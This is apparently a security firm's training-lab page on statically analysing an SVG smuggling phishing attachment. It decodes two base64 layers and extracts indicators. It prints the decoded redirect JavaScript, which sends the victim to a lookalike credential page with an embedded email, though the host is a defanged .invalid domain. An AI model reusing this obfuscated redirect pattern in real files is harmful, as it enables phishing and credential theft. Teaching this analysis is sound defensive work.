Synapse Consulting
Home SynapseRM / TPRM Services Pricing About BlogCareersLabsContact
EN · FR
Test access Book a demo

Phishing · SVG smuggling · Deobfuscation · MITRE T1027.017

Hidden in an image: analysing an SVG smuggling attachment

An SVG landed in an inbox, flagged by the mail gateway. SVG is an image format, but it can carry HTML and JavaScript. Prove it: find the embedded script, peel back two obfuscation layers, and recover the phishing redirect and the victim identifier hidden inside.

~45 minEstimated time
text editor · base64 · CyberChefTools
T1027.017 · T1566.001 · T1598MITRE ATT&CK
★★☆☆ IntermediatePhishingDeobfuscation

The sample

Filenorthsea-invoice.svg
SHA-256015847e0727863515d6e2064f1860db69afee186b12b20ebed7a69416483ca8c
Size1,472 bytes, SVG 1.1 (XML)
ContextAttachment flagged by the mail gateway, sent to North Sea Digital

Zip password: none. Do NOT open the SVG in a browser (it would run the script). Analyse it in a text editor, in an isolated VM.

1. Scenario

Malicious SVG attachments jumped 245% in early 2025: an SVG is treated as an image by most mail filters, yet the format can embed a full <script>. Opened in a browser, it runs JavaScript that silently redirects the victim to a credential-harvesting page.

You receive one such attachment. Your job is to analyse it statically, deobfuscate the payload, and extract the indicators, without ever executing it.

⚠️ Do not double-click. Opening the SVG in a browser executes the script. Open it in a text editor or use command-line tools, inside an isolated VM.

2. Objectives

3. Step-by-step analysis

1

Triage and identification

file · grep

An SVG is XML. The red flag is an image that carries a <script>. Never open it in a browser; grep the raw text.

bash
file northsea-invoice.svg
grep -Eo '<script|eval|atob|location\.href' northsea-invoice.svg
output
northsea-invoice.svg: SVG Scalable Vector Graphics image
<script
eval
atob
atob
location.href

🚩 An <script> plus eval(atob()) inside an image is the signature of SVG smuggling (MITRE T1027.017). Legitimate images never do this.

2

Deobfuscate the outer layer

base64 · CyberChef

The script hides its logic in a single base64 blob assigned to _p and run through eval(atob(_p)). Pull the blob and decode it.

bash
grep -oE 'var _p = "[A-Za-z0-9+/=]+"' northsea-invoice.svg \
  | sed -E 's/.*"(.*)"/\1/' | base64 -d ; echo
output, decoded inner JS
(function(){var u=atob('aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==');var t=atob('ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==');window.location.href=u+encodeURIComponent(t);})();
🔬 Open the CyberChef recipe, From Base64

💡 The decoded routine does not contain the URL in clear either: it rebuilds the destination from two more atob() calls. One more layer to go.

3

Decode the inner layer

base64

The inner routine assembles the destination from two base64 strings: the redirect base and the victim identifier.

bash
echo 'aHR0cHM6Ly9zZWN1cmUtZG9jLXZpZXcuZXhhbXBsZS5pbnZhbGlkL3ZlcmlmeT9zZXNzaW9uPQ==' | base64 -d ; echo
echo 'ai5kb2VAbm9ydGhzZWEuZXhhbXBsZQ==' | base64 -d ; echo
output
https://secure-doc-view.example.invalid/verify?session=
j.doe@northsea.example

🔑 The victim's email is base64-embedded in the file. Attackers do this to pre-fill the phishing form and to track exactly who clicked. A different victim gets a different SVG.

4

Assemble and conclude

synthesis

Putting the layers together gives the final redirect the browser would have followed:

SVG <script>From Base64 (outer)inner JSFrom Base64 (atob x2)phishing URL + victim
final redirect
https://secure-doc-view.example.invalid/verify?session=j.doe%40northsea.example

✅ This is a credential-harvesting redirector. The URL points to a lookalike verification page; the appended victim email pre-fills and tracks the target. The destination here is a non-resolvable .invalid domain, so the sample is safe to study.

4. IOC summary

TypeValueSource
TechniqueSVG smuggling, embedded <script>MITRE T1027.017
Obfuscationeval(atob()) outer + atob() x2 innerstatic analysis
Redirect hostsecure-doc-view.example.invalid (defanged)decoded layer 2
Victim trackerj.doe@northsea.example (base64-embedded)decoded layer 2
Deliveryemail attachment (SVG bypasses image filters)mail gateway

5. Detection and mitigation

6. References

MITRE T1027.017, SVG smuggling

The technique: obfuscated files that hide code inside SVG images.

SVG phishing, Securelist (Kaspersky)

How SVGs with embedded HTML/JS are used in phishing campaigns.

245% increase in malicious SVGs, KnowBe4

The 2025 surge in SVG attachments used to obfuscate phishing payloads.

CyberChef, GCHQ

From Base64, Magic and other recipes to peel obfuscation layers.

Entirely fictional environment, for educational use only. The redirect target is a non-resolvable .invalid domain.

Synapse Consulting

A Belgium-based provider of cybersecurity solutions, and the team behind SynapseRM / TPRM.

PLATFORM
SynapseRM / TPRM Pricing Test accessPresentation (PDF)
SERVICES
Governance Operational Training
COMPANY
About Contact Blog Labs Careers Privacy & cookies
Brussels, Belgium